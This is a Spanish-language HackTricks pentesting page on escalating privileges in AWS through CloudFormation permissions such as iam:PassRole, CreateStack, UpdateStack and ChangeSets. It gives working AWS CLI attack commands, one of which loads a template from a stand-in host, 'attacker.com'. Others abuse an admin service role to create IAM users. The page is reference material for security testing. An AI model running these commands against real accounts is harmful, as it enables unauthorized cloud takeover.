AWS - Cloudformation Privesc

Support HackTricks

cloudformation

Para más información sobre cloudformation, consulta:

iam:PassRole, cloudformation:CreateStack

Un atacante con estos permisos puede escalar privilegios creando un stack de CloudFormation con una plantilla personalizada, alojada en su servidor, para ejecutar acciones bajo los permisos de un rol especificado:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

En la siguiente página tienes un ejemplo de explotación con el permiso adicional cloudformation:DescribeStacks:

Impacto Potencial: Privesc al rol de servicio de cloudformation especificado.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

En este caso puedes abusar de una pila de cloudformation existente para actualizarla y escalar privilegios como en el escenario anterior:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La cloudformation:SetStackPolicy permiso se puede usar para darte a ti mismo el permiso UpdateStack sobre una pila y realizar el ataque.

Impacto Potencial: Privesc al rol de servicio de cloudformation especificado.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Si tienes este permiso pero sin iam:PassRole aún puedes actualizar las pilas utilizadas y abusar de los roles de IAM que ya tienen adjuntos. Consulta la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización).

La cloudformation:SetStackPolicy permiso se puede usar para darte a ti mismo el permiso UpdateStack sobre una pila y realizar el ataque.

Impacto Potencial: Privesc al rol de servicio de cloudformation ya adjunto.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un atacante con permisos para pasar un rol y crear & ejecutar un ChangeSet puede crear/actualizar una nueva pila de cloudformation abusando de los roles de servicio de cloudformation al igual que con CreateStack o UpdateStack.

La siguiente explotación es una variación de la CreateStack one usando los permisos de ChangeSet para crear una pila.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

La permiso cloudformation:SetStackPolicy se puede usar para otorgarte permisos de ChangeSet sobre una pila y realizar el ataque.

Impacto Potencial: Privesc a roles de servicio de cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Esto es como el método anterior sin pasar roles de IAM, así que solo puedes abusar de los ya adjuntos, solo modifica el parámetro:

--change-set-type UPDATE

Impacto Potencial: Privesc al rol de servicio de cloudformation ya adjunto.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un atacante podría abusar de estos permisos para crear/actualizar StackSets y abusar de roles de cloudformation arbitrarios.

Impacto Potencial: Privesc a los roles de servicio de cloudformation.

cloudformation:UpdateStackSet

Un atacante podría abusar de este permiso sin el permiso passRole para actualizar StackSets y abusar de los roles de cloudformation adjuntos.

Impacto Potencial: Privesc a los roles de cloudformation adjuntos.

Referencias

Support HackTricks

Last updated